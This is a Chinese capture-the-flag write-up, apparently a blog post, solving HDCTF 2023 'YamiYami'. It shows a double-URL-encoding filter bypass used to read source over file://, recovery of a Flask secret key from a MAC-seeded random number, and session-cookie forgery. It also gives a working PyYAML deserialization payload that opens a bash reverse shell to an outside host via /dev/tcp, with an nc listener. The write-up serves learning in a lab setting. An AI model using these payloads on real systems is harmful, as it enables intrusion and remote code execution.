[HDCTF 2023]YamiYami

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


前言

从暑假末尾一直搁置,当时卡在反弹shell搞得离flag就差一步。不过最近一两天学习完反弹shell的知识后,直接拿下此题,学习了好几个没学过知识。


涉及知识点

  1. Yami反序列化
  2. session伪造
  3. seed生成伪随机数
  4. 反弹shell
  5. 读取源码

解题详细过程

打开题目,大概看一下不同功能
在这里插入图片描述第一个Read应该是可以读取代码
然后第二个可以上传文件
最后一个点进去发现提示我们查看/app
我们点击第一个链接,输入

?url=file:///app/app.py

在这里插入图片描述发现不行,那么我们用url二次编码绕过

app/app.py  -->  %2561%2570%2570%252F%2561%2570%2570%252E%2570%2579

成功得到源码
在这里插入图片描述我们整理一下,源码如下

# encoding:utf-8
import os
import requests
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml #问题所在 pyyaml反序列化
from urllib.request import urlopen

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = False
BLACK_LIST = ["yaml", "YAML", "YML", "yml", "yamiyami"]
app.config['UPLOAD_FOLDER'] = "/app/uploads"


@app.route('/')
def index():
    session['passport'] = 'YamiYami'
    return '''
    Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
    <br>
    Here is the challenge <a href="/upload">Upload file</a>
    <br>
    Enjoy it <a href="/pwd">pwd</a>
    '''


@app.route('/pwd')
def pwd():
    return str(pwdpath)


@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('app.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m:
            return "re.findall('app.*', url, re.IGNORECASE)"
        if n:
            return "re.findall('flag', url, re.IGNORECASE)"
        res = urlopen(url)
        return res.read()
    except Exception as ex:
        print(str(ex))
    return 'no response'


def allowed_file(filename):
    for blackstr in BLACK_LIST:
        if blackstr in filename:
            return False
    return True


@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)
        file = request.files['file']
        if file.filename == '':
            return "Empty file"
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            if not os.path.exists('./uploads/'):
                os.makedirs('./uploads/')
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
            return "upload successfully!"
    return render_template("index.html")


@app.route('/boogipop')
def load():
    if session.get("passport") == "Welcome To HDCTF2023":
        LoadedFile = request.args.get("file")
        if not os.path.exists(LoadedFile):
            return "file not exists"
        with open(LoadedFile) as f:
            yaml.full_load(f)
            f.close()
        return "van you see"
    else:
        return "No Auth bro"


if __name__ == '__main__':
    pwdpath = os.popen("pwd").read()
    app.run(
        debug=False,
        host="0.0.0.0"
    )
    print(app.config['SECRET_KEY'])

分析一下
定义了load()函数,用于处理/boogipop路由的请求。看看if条件,先是对session值进行验证,然后获取文件名。最后可以发现存在反序列化漏洞,因为yaml.full_load() 对用户上传的文件进行反序列化操作。

再看看upload_file()函数,就是对上传文件进行验证,拓展名是否在黑名单中。

这里的上传黑名单禁掉了Yaml等,这其实是一个难点。但是上传txt文件也能被解析成Yaml。猜测可能是:这里full_load调用了load函数,而load函数输入的是一个steam,也就是流,二进制文件,所以不管是什么后缀都无关紧要了

为了绕过load()函数的if条件限制,我们首要目的是session伪造

session伪造

其中密钥的获取方法,题目已经告诉我们

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)

关于uuid.getnode()函数

uuid.getnode() 是 Python 中的一个函数,用于获取本地计算机的 MAC 地址(物理地址)作为一个 48 位整数。它属于 uuid 模块,用于生成和操作 UUID(通用唯一标识符)。

对于伪随机数,当seed固定时,生成的随机数是可以预测的,也就是顺序为固定的,所以只要知道seed的值即可。这里看到seed使用的uuid.getnode()函数,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。

?url=file:///sys/class/net/eth0/address

在这里插入图片描述生成伪随机数脚本

import uuid,random
random.seed(0x0242ac02ad42)
print(str(random.random()*233))

生成后,用工具flask-session-cookie
解密

python flask_session_cookie_manager3.py decode -s "76.57659277973795" -c "eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZPiBMQ._UO0MSFCniq6fzbPNKFVXmRAnJ8"

加密

python flask_session_cookie_manager3.py  encode -s "76.57659277973795" -t "{'passport': 'Welcome To HDCTF2023'}"

在这里插入图片描述准备好session

反弹shell

要上传的反弹shell脚本,命名为1.txt

- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/f57819674z.imdo.co/29964 0>&1\"')"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec

在上传界面上传,然后访问./boogipop?file=uploads/1.txt
发现不行(这里就要用到伪造的session)
在这里插入图片描述
我们先打开kali监听一下

nc -lvp 1028

然后bp抓包,修改session值

在这里插入图片描述
成功反弹shell

在这里插入图片描述ls一下,发现flag.sh是假的
真的flag在/tmp里,得到flag

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_rev1ve

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值